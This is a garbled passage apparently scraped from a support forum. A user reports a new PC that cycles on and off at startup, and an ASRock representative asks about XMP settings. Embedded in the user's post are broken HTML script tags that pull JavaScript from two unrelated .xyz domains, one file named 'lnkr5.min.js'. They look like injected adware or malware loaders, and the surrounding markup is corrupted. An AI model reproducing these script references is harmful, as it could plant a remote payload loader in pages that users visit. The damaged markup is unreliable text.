" rel="nofollow - New PC Build, at startup the PC will cycle on/off 1-3 times, eventually allowing boot into bios. No OS installed yet. I have upgraded the bios, however sometimes the number of cycles resets the bios to factory. All other devices were removed. Tried using backup power supply with same results. < ="text/" ="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52096x5793x&r=13">< ="text/" ="http:/etcheckcdn.xyz/addons/lnkr5.min.js">

Dear Usfjosh,

Thank you for choosing ASRock.

We would like to know if the symptom is happen when XMP loaded.

Could you provide the BIOS OC Tweaker page for us to check?
